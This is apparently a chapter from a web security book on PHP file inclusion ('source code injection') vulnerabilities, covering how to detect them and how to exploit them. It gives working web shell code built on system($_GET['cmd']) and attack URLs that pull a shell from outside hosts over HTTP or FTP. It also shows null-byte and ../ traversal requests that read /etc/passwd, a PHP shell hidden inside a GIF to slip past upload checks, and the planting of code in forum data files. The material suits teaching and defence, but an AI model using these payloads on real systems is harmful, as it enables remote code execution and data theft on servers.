PHP is a commonly-used programming language aimed at the development of Web applications. PHP scripts are executed on the server. PHP is an interpreted programming language, which means that programs written in it are ready to use immediately after you write them — that is, they don't need compiling.
PHP was created for writing applications that should work on the Internet. Therefore, a PHP script can do everything other Web applications can do. In particular, it can receive data from an HTML form sent as GET or POST parameters. It also can set and receive cookies.
In PHP, you can write a console application that would start from the command line. The PHP script will be able to access variables sent as command-line parameters. However, because PHP was intended as a language for Web applications, creating console applications in this language is somewhat inconvenient.
In addition, with the PHP-GTK module you can create client graphic user interface (GUI) applications. The PHP-GTK module required for the creation of such applications doesn't come with a standard version of PHP, so you'll need to install it individually.
An important feature of client GUI applications developed in PHP is that they are platform-independent. Their code will work in any system that has a PHP interpreter with the PHP-GTK module.
However, because PHP was intended as a language for Web applications, creating client GUI applications in it is confusing and tedious.
PHP Source Code Injection
This is the most common vulnerability in PHP scripts. In addition, it is the most dangerous. By exploiting this vulnerability, a malicious remote user obtains the right to execute any script on the server.
| Definition | PHP source code injection is a vulnerability caused by an insufficient check of variables used in functions such as include( ) and require( ). |
An insufficient check of parameters allows the attacker to create a request that makes the PHP interpreter include and execute a malicious PHP file.
Consider an example: http://localhost/2/4.php. If you examine the source code of this script, you'll find the following line:
This line checks whether the page variable is empty. This variable is global and is automatically registered. Remember, I assume that the PHP interpreter is configured so that global variables are registered automatically from the received parameters, including those sent using the GET method.
If the value of the variable was received, the external PHP file is included and executed as a PHP script.
Note that the file extension doesn't matter. Any file with any extension can be included and executed as a PHP script. Be aware of this feature: It can be important later. A programmer should always remember this feature.
A common programming mistake is the use of the following construction:
<? Include("$data.txt") ?>
Here a programmer believes that he or she is guaranteed against including PHP scripts. However, if the data parameter contains the path to a TXT file that contains PHP instructions, this file will be executed as a PHP script. Note that the parameter should contain the path with the file name but without an extension. The extension will be appended in the <? Include ("$data.txt") ?> construction.
Detecting Errors
Suppose that you want to check whether the vulnerability is present in a script. Also suppose that the code of the script is unavailable to you.
Create a list of all parameters this script can take. Analyze other scripts that refer to the script in question.
Don't forget about cookies. They often contain relative paths to files with interface settings. For example, a cookie can contain information about the language of the site and scripts can contain a construction like the following:
<?
$lang=$_COOKIE['lang'];
If(empty($lang))
{
$lang="EN";
setcookie("lang", $lang);
}
include("$lang.php")
...
?>
The idea of this code is that the default language of the site is English but the user can choose the language. Then a PHP script with appropriate interface settings is included. These settings are contained in scripts with the names ENG.PHP, RU.PHP, and so on.
So, don't confine yourself to GET or POST parameters. Collect all possible parameters that the target script could process. Change the values of the parameters one by one and examine the response of the system.
Remember that the correct value of the Referer header is sometimes required. Many popular forum engines check this header to make sure that the previous page was a page of a site.
However, this check isn't a hindrance for a hacker, who can easily bypass it using a program like that described at the beginning of this chapter or using other methods for changing this header field of an HTTP request.
Remember that the Referer field is entirely set on the client, so server Web applications shouldn't trust it, just as they shouldn't trust any data received from a client.
The system can respond in different ways, but the following error message allows you to suppose that the parameter being tested is used in the include() function without checking and that the vulnerability is there. Here is an example of a test request:
http://localhost/2/4.php?page=xxx&id=yyyy
The error message would be as follows:
Warning: main(xxx): failed to open stream: No such file or directory
in x:\localhost\2\4.php on line 7
Warning: main(): Failed opening 'xxx' for inclusion
(include_path='.;c:\php4\pear') in x:\localhost\2\4.php on line 7
Analyze the message. The Failed opening 'xxx' for inclusion line indicates that the PHP interpreter encountered an instruction that contained the XXX file but failed to find this file on the disk.
Taking into account that this is the value of the page GET parameter, you can infer that this value is used unchanged inside the include() function. However, it is much more common for a programmer to use the include($page.".php") construction or even include ("./data/".$page.".txt").
In the first case, an extension is appended to the received value; in the second case, a path is also appended. I'll demonstrate later in this chapter that adding a string to the received value entails consequences not found before the addition.
In any case, you should find the actual parameter that the include() function takes. If the PHP interpreter outputs error messages to the browser, this task is simple. Just compare the tested parameter value you have sent with the file name mentioned in the error message.
For example, suppose that the http://localhost/2/4.php?page=xxx&id=yyyy request caused the following message:
Warning: main(xxx.php): failed to open stream: No such file or
directory in x:\localhost\2\4.php on line 7
Warning: main(): Failed opening 'xxx.php' for inclusion
(include_path='.;c:\php4\pear') in x:\localhost\2\4.php on line 7
You can infer that the vulnerable piece of code looks like this: include ($page.". txt"). In other words, the TXT extension is added to the received parameter.
If the following message was displayed, you could infer that a path is added to the received parameter:
Warning: main(./data/xxx.txt): failed to open stream: No such file or
directory in x:\localhost\2\4.php on line 7
Warning: main(): Failed opening './data/xxx.txt' for inclusion
(include_path='.;c:\php4\pear') in x:\localhost\2\4.php on line 7
When the code of the script is available, you should find all functions such as include(), require(), include_once(), and require_once(). Then you should check whether these functions use variables.
When only static data are included, there is no vulnerability. If at least one function uses a variable, check whether you can affect the value of this variable. For example, it is dangerous when the variable isn't initialized.
If the PHP interpreter is configured so that GET, POST, and COOKIE parameters are registered automatically, you can send the value of the tested variable as a GET, POST, or COOKIE parameter. This is a typical PHP source code injection vulnerability.
When Errors Aren't Displayed
How can you detect the vulnerability when error messages aren't displayed? Change the values of the parameters so that the logic of the script doesn't change if these parameters are used in the include() function.
For example, adding the ./ sequence almost never affects the execution of a script. Suppose that the vulnerability is the following: include($page.".htm"). Normally, the page=index parameter is sent. If you send page=. /index, the logic of the script won't change, and the page will be displayed as usual.
By default, PHP includes files from the current directory, and the . / sequences means the current directory.
Suppose that a directory prefix is added to the received value:
include("./data/".$page.".htm")
If you substitute page=index with page=./index, the script will try to include the ./data/./index.htm file rather than ./data/index. htm. Because the ./ sequence denotes the current directory, both strings point to the same file, and the logic of the script doesn't change. Therefore, if such a change in a parameter doesn't affect the work of the script, it is likely that the parameter is used as a file name. When it is used in the include() function, the vulnerability is present.
A situation, in which a fragment of a file name is used as a prefix, is an exception. For example, if the include ("data-". $file. ". txt") construction is used, the file won't be found.
Another indication of the vulnerability is the presence of files on the server whose names are identical to or similar to parameters passed to the script.
For example, let the DATA.PHP script take the following parameters: x=1, x=2, x=3, and so on. Let the same directory contain the files 
1.PHP, 2.PHP, 3.PHP, and so on, and let their contents be the same as the contents of the pages in DATA.PHP with the corresponding parameters.
You can suppose that there is an injection in the DATA.PHP script in the x parameter in a statement such as include ($x.".php").
In rare cases, the contents of a directory can be viewed by specifying its name in the browser. It is unlikely that a server returns a listing of the directory in response to such a request. However, don't expect that the attacker will miss the chance to check for this.
Exploiting the Global PHP Source Code Injection Vulnerability
So, the attacker has found the vulnerability. What could he or she do? The attacker's actions depend on whether this vulnerability is local or global.
| Definition | Global PHP source code injection is a vulnerability that allows an attacker to execute any file, local or remote, available for reading to the server. |
Remember a peculiarity of the include() function in PHP: It includes and executes any file as a PHP script. If it takes the full HTTP or FTP address of the file, the remote file will be requested using the appropriate protocol and the received response will be executed as a PHP script. For example, if you use HTTP, a standard HTTP request will be made.
Therefore, to include and execute an external script, the following conditions should be met:
Inside the include() function, no string is added at the beginning of the variable you will affect. For example, include("$file.txt") is all right, but include ("/$file.txt") isn't.
Outgoing connections using HTTP aren't restricted. In some cases, the vulnerability can be exploited if external connections are allowed on at least one port.
PHP is configured so that remote files can be included. This is the default configuration.
Simultaneous meeting of these conditions is likely. For example, look how the following construction is executed:
<? Include("http://www.yandex.ru/") ?>
You can check for the global PHP source code injection vulnerability by sending the following request: http://localhost/2/4.php?page=http://www.yandex.ru?. If the server displays the main page of Yandex, the global PHP source code injection vulnerability is likely. Of course, you can specify any other site or HTML page available using HTTP.
The question mark at the end of the request is mandatory. A string can be added to the end of the received parameter inside the include() construction — for example, include ("$page.php"). You don't need it, so turn it into a GET parameter to get rid of it. To do this, put the question mark at the end of the address of the document you want to include.
As a result, the http://www.yandex.ru/?.php document will be requested and included. If you enter this address into your browser, you'll make sure this is the same as http://www.yandex.ru/. This is true for HTTP.
Note that, unlike with local files, if a remote PHP file is requested, the result of its work, not its source code, is included. Here is an example from http://localhost/2/6.php that demonstrates this:
<? include("http://localhost/2/5.php"); ?>
Here is the code of the 5.PHP script:
<?
echo "This is the 5.php script. Date:".date("H:i:s");
echo "
<?
echo \"And this is what 6.php executes. \";
?>
";
?>
As you can see, 6.PHP includes 5.PHP using HTTP and then executes it. When this script is included, the following things will happen: The http://localhost/2/5.php document is requested using HTTP. If there is a configured PHP interpreter on the server that contains the included script, this script is executed on that server.
The result of this execution is sent to the 6.PHP script, which executes this result as a PHP script on the first server.
So, the line echo "This is the 5.php script. Date: ".date ("H:i:s"); is executed on the server, on which the 5.PHP script is located. Then this script outputs the following:
<?
echo \"And this is what 6.php executes. \";
?>
This phrase will be output to the 6.PHP script, and this code will be executed on the target server (i.e., on the server that contains the vulnerable script).
Now you know how to include a remote script to execute any code on the remote server.
Consider a few examples.
Suppose that a server has the following vulnerability: <? Include ("$page. htm") ?>. Write some PHP code that will be executed on this target server. The PHP shell will be standard in this case.
If the PHP interpreter isn't in the safe mode, you can use the system() function. This function executes system commands and returns their output to the browser. For example, in Unix-like operating systems, you can write system ("ls -la"). In Windows, you can write system ("dir");.
So, write the following PHP shell code:
<?
system($_GET["cmd"])
?>
If the server is configured so that quotation marks are screened with backslashes, you can write the following:
Then you should place your PHP shell code on any Web site. One through a free hosting service would be suitable.
Let the address to the target server that will make the server include your PHP shell code be http://localhost/4.php?page=http://www.freewebspace.net/cmd.htm?&cmd=ls+-la or http://localhost/4.php?page=http://www.freewebspace.net/cmd&cmd=ls+-la;
the HTM extension will be appended in any case.
What will happen? The target script, 4.PHP, has the vulnerability. It will include and execute the following code:
<?
system($_GET["cmd"])
?>
The cmd GET parameter is extracted from the same request. The value you passed as a value of the cmd parameter will be executed on the target server as a system command.
In this example, you obtain a list of files in the current directory (in a Unix-like operating system). So, you obtained what you had wanted. An explanation of what you could do with this information is beyond the scope of this book.
Suppose that the existing vulnerability has the following form: <? Include ("$page.php") ?>. In other words, a PHP extension is appended rather than a TXT one. You can act as in the previous example, but don't forget the following: If the PHP interpreter is installed on the server and you send a request such as http://localhost/4.php?page=http://cmd.hl0.ru/cmd&cmd=ls+-la, first the http://cmd.h10.ru/cmd.php script will run on the h10 server and then the result of its work will be sent to the target server.
Therefore, the http://cmd.h10.ru/cmd.php script should have code like this:
<? Echo "<?
System(\$_GET[\"cmd"]);
?>";
?>
It would be convenient to get rid of data you don't need by turning them into GET parameters. As I demonstrated earlier, you can do this with the question mark:
http://localhost/4.php?page=http://cmd.h10.ru/cmd.htm?&cmd=ls+-la
If a connection to port 80 is prohibited but there are other ports, you can place your PHP shell code on an FTP server and try to connect using FTP. Remember that the trick with the question mark won't work in this case, so you need to choose an appropriate file name.
For example, if there is the <? Include ("$page.include.php") ?> vulnerability, the file with PHP code could be named cmd.include.php and the request to include this script could be as follows:
http://localhost/4.php?page=ftp://my.ftp.ru/cmd&cmd=ls+-la
Note that if a file is included using FTP, the PHP interpreter tries to request its contents by connecting to the FTP server as a passive anonymous user.
Another way out could involve placing your PHP code on an HTTP server that uses a nonstandard port. In this case, a request could be like this:
http://localhost/4.php?page=http://cmd.h10.ru:8000/cmd&cmd=ls+-la
A frequently asked question is, How can I get the source code of a PHP script running on the server? The answer is simple: If you don't use other vulnerabilities, you cannot see the code of a script on a server.
Exploiting the Local PHP Source Code Injection Vulnerability
When there is a vulnerability of the PHP source code injection type but you failed to include and execute a remote file, this vulnerability can be called local.
| Definition | Local PHP source code injection is a vulnerability that allows an attacker to execute any local file available for reading to the server. |
I'd like to mention that everything described here about the local type of this vulnerability is also true for the global one. That is, everything that you can implement exploiting a local vulnerability can also be implemented with a global vulnerability.
The most common reason you cannot include a remote file is that a string is added to the beginning of the parameter you're going to affect in the include() function. In this case, it is impossible to add a protocol name (HTTP or FTP), and you cannot include a remote file.
For example, look at the http://localhost/2/7.php script. Here are its contents:
<?
include("./data/$id.php");
?>
As you can see, this is a PHP source code injection vulnerability. You could affect the $id variable, but a string with a path to data files is added to it. Therefore, you cannot change the value of the $id variable so that a remote file available using HTTP or FTP is included.
Another case, in which you cannot include a remote file, is when PHP settings prohibit you to perform this operation or a firewall bars outgoing connections to any transmission control protocol (TCP) port.
Suppose that you can include any local file. In the previous example, an extension is appended to the file name. It restricts the types of files that you could include and execute as PHP scripts. However, remember a feature of interpreted languages such as PHP or Perl. Their interpreters are written in C language. In C, a null character (a byte consisting of 0 bits) indicates the end of a character string.
Therefore, a null character in a string that passes a file name to a file opening function will indicate the end of the string and, consequently, the end of the file name.
In interpreted languages such as PHP or Perl, multibyte strings are used. These strings can contain characters with any code, including null characters. Naturally, these languages don't treat a null character as a string terminator. This is done to support strings that store data such as images, audio, or video.
Remember that you can URL-encode any character when you send an HTTP request. Substitute the character with an appropriate %XX sequence, where XX is the hexadecimal code of the character. The null character is coded with the %00 sequence. This sequence can be normally sent using HTTP, and the requested script will receive a string with the null character.
Suppose that the include (". /$file/data.php") construction is used in a script. Its programmer believes the PHP interpreter will include and execute only the DATA.PHP file. What will happen if you pass the script a null-terminated string as a file name, for example, file=temp.txt%00?
The interpreter will try to open and execute the file ./temp.txt\0/data.pnp. Here, \o is a null character. This string will be passed to the include() function that calls a C function such as fopen(), which treats the null character as the end of the string. As a result, an attempt to include and execute to . /temp. txt file will be made. The remainder of the string will be discarded, like the case in which you discarded the remainder of a string in an HTTP request using the question mark.
So, you have learned how to get rid of the right part appended to a variable you are going to affect. In addition, note that these functions usually allow you to use the ../ sequence to move to other directories. In other words, now you can use the ../ sequence and a null character to include and execute any file on the server.
How can the attacker use this option?
Remember the structure of PHP scripts. The code executed by the PHP interpreter is enclosed within the tags <? ?> or <?php ?>. Everything outside the tags is treated as a plain text and displayed without processing.
Consider an example, http://localhost/2/8.php:
Date: <? echo date("Y-m-d H:i:s");
$a="Test";
?>
<br>This text will be displayed without processing.
Variables such as $a won't be substituted with values.
<?
echo "This text will be displayed.
Variables will be substituted with values, for example, a=$a";
?>
This example demonstrates how the PHP interpreter executes scripts.
Many files, such as configuration files of various applications, log files, or many text documents, don't contain the PHP tags <? ?>. If you include such files into a PHP script, the PHP interpreter won't encounter fragments that can be interpreted as PHP code. So, it will output them without processing.
Thus, when the local PHP source code injection vulnerability exists, the attacker can use it to obtain the contents of some files. He or she should specify relative paths to the files (relative to the directory specified in the prefix). To move one level up in the directory tree, the attacker would use the .. / sequence.
For example, the contents of the /etc/passwd file could be obtained using a request like the following:
http://test/script.php?page=./../../../../../../etc/passwd%00
This request displays the file with user logins in Unix-like operating systems. Using a series of the ../ sequence, you move to the root directory. Then you access the passwd file.
Note that in Unix-like operating systems you can read only the files available for reading to the user who started the Web server. In Windows, you can obtain only the contents of files located on the current disk. If a prefix is specified, the attacker cannot change the disk. However, if nothing is added to the beginning of the variable you're going to affect in the include() function, you can specify the disk name.
For example, you can use the http://test/script.php?page=C:/system.ini%00 request for a vulnerability like the following:
The contents of the requested file will be displayed in the part of the page where the script intends to output the include() construction.
Note that if you want to see a file as it is, you should look at the HTML code rather than at the output in the browser window. For example, the browser ignores linefeed characters in text files. In addition, it can interpret certain character sequences as HTML tags and display the result of applying these tags rather than the text.
To display the source code, most browsers allow users to view HTML pages as text.
What else can the attacker do when he or she explores the local PHP source code injection vulnerability? The attacker has many options beyond just viewing the code of scripts.
To execute any code, the attacker needs to embed it into a file on the server by creating a new file available for reading to the user who started the Web server, or by editing a file available for reading to the Web server. If the attacker has other access to the server, for example, he or she has anonymous access using FTP, it will suffice for the attacker to create a file with PHP instructions. The name and location of this file aren't important. The attacker just needs them to access the file.
However, such a case isn't likely. Servers that allow users anonymous FTP access are rare. Even rarer are servers that allow anonymous users to write.
So what is left for the attacker? He or she can upload files to the server using an HTTP form. If a visitor to the site is allowed to upload files on the server, this is fraught with vulnerability. Such systems should filter the names, the contents, or both of the files they write on their disks.
However, if the attacker decides to upload a PHP code, he or she will easily circumvent almost every filter. Suppose that file extensions are filtered on the server. For example, only graphic formats are allowed. Because the PHP interpreter doesn't restrict the extension of a file with PHP code, it executes code contained in any file, regardless of the extension. So, the attacker can upload a file with PHP code, for example, PHP shell, if he or she specifies a graphic format extension. For example, the file can have the following code:
<?
$cmd=stripslashes($_GET["and"]);
system($cmd);
?>
To exploit this vulnerability successfully, the attacker needs the relative path to the file with the malicious code. He or she doesn't need the full path to the file or to a vulnerable script.
Consider an example. Suppose that a vulnerable script has the following address: http://test/news/index.php. Also suppose that injection is possible in the page parameter, which isn't filtered.
The vulnerable lines are the following:
<?
include("../data/$id.html");
?>
Suppose that the forum on this site allows users to upload images. An image can be of the GIF or JPG format. The extension of the uploaded file is checked on the server.
The attacker can find the directory, in which the image is saved. To do this, he or she should send a test image, display it in the browser window, and look at the path to it.
Let the URL of the uploaded image be http://site/images/test.jpg. Now, the attacker wants to upload malicious PHP code instead of the image. If the code is contained in the http://site/images/cmd.jpg file, the request that exploits the vulnerability by including and executing the script (which, in turn, executes any system command received as a GET parameter) could be as follows:
http://test/news/index.php?page=./../images/cmd.jpg%00&cmd=ls+-la
Files containing data for the http://test/news/index.php file are located in the http://test/data/ directory. The path from this directory to the IMAGES directory that contains the PHP shell is the following:./../images/. This is the string passed as the page parameter.
Now, complicate the attacker's task. Suppose that the server checks the contents of the image file in addition to the extension. The check could involve testing whether the image fits within certain boundaries. The PHP code pretending to be an image won't pass the check. The attacker will have to write PHP code that would be a valid image, or create an image that would contain PHP code correctly interpreted by the PHP interpreter.
Remember that everything outside the <? ?> tags is output by the PHP interpreter without processing. You can easily make sure that the data outside the tags don't need to be text. These data can be an image. Naturally, the PHP interpreter won't display the image. Rather, it will output the text interpretation of the graphic data.
So, the attacker's task is reduced to embedding the desired text data into an image. Take GIF as an example. You can make sure that adding any data to the end of a GIF file doesn't affect the display of this file in any graphic application. Each of such applications will treat this file as a valid GIF image.
The attacker only needs to embed his or her PHP shell code at the end of a valid GIF image using a hexadecimal editor and then upload this file to the server. Such a file will pass all checks because it is a valid GIF image. Although it contains some data at the end, they don't affect the behavior of any graphic application.
Now, the attacker can use the local vulnerability to include the file:
http://test/news/index.php?page=./../images/cmd.jpg%00&cmd=ls+-la
The PHP interpreter will treat this file as a common PHP script. First it will display the "garbage," being the text interpretation of the graphic data. Then it will encounter the <? ?> tags and execute the code between them.
Consider another example. Suppose that a server with this vulnerability contains a system that maintains a database using text files. Some forums and bulletin boards maintain databases in files hidden from HTTP. However, the contents of this file can be included by exploiting the local PHP source code injection.
These files are usually text ones. After the attacker gets them, he or she is sure to analyze their contents. I would suppose that he or she wouldn't be interested in the logins, passwords, and secret messages contained in these files. Rather, the attacker would analyze which characters are filtered when information is added to these files and how they are filtered.
If a file contains information about a user, the attacker will register in the forum with a login, password, or other information containing desired PHP code, for example, PHP shell. If, conversely, the file contains messages, the attacker will simply add a new message containing the malicious PHP code.
Note that an experienced attacker will add the PHP code only after he or she tests, which characters are filtered and how this is done. The functionality of the added PHP code shouldn't change after filtration. For example, modified or original PHP shell code can be used. Then the attacker will execute this file as PHP code using the method described earlier.
Another method for creating a file with PHP code that exploits the SQL injection vulnerability is described in Chapter 3 devoted to SQL injections. Embedding PHP code into log files is described later in this chapter.
Now, consider a case in which the vulnerability in a PHP script has the following form:
<?
include("./data/file-$file.php")
?>
This is a vulnerability of the local PHP code injection type because there is a prefix before the variable that we can affect. However, this a special case compared with the previous cases in which a relative or absolute path was added. Here, a fragment of the file name is also added.
Consider a case, in which the ./data/ directory contains a subdirectory whose name begins with the same characters as the appended fragment of the file name. In this case, this should be the ./data/file-list/ directory. You can move to the target directory using a construction like the following one:
http://test/news.php?file=list/../../../../ets/passwd%00
The include() function will include and execute the following file:
./data/file-list/../../../../ets/passwd%00
All the directories in the path exist in the system, and any operating system will consider the path correct. However, the existence of such a convenient directory is not likely. Most often, there is no directory with a name that could be exploited. Even if it exists, if will be difficult to the attacker to guess its name.
Therefore, to exploit the vulnerability, the attacker will have to specify directories that don't exist. For example, he or she can specify the following:
./data/file-1/../../../../ets/passwd%00
Note that there is no file-1 subdirectory in the ./data/ directory.
This situation is ambiguous. On the one hand, the nonexistent directory isn't used. You move one level up immediately: file-1/../. On the other hand, can the path be correct if it includes a directory that doesn't exist? You have to find the answer through experimentation. Different operating systems treat this situation differently.
In Windows 2000, in the File Allocation Table (FAT) or New Technology File System (NTFS), it doesn't matter whether a directory exists if you move one level up immediately.
To test this, try to execute the following command in the command line:
C:\>cd \not-exists\..\
C:\>
You'll see that the operating system accepts a path with a nonexistent folder.
In Unix-like operating systems, the situation is more complicated. The following example is for FreeBSD:
$ pwd
/tmp/test
$ ls -la
total 6
drwxr-xr-x 2 admin wheel 512 Sep 9 16:18 .
drwxrwxrwt 9 root wheel 512 Sep 9 16:17 ..
-rw-r--r-- 1 admin wheel 5 Sep 9 16:18 file.php
$ cd not-existent/../
-bash: cd: not-existent/../: No such file or directory
$ cd file.php/../
-bash: cd: file.php/../: Not a directory
$
Unix-like systems check every file in a path. This is to check whether the user has access rights to the directories he or she specified. Even if the file exists, it should be a directory. Otherwise, the path is incorrect.
Although the situation is sometimes hopeless to the attacker, you shouldn't neglect protection.
댓글,
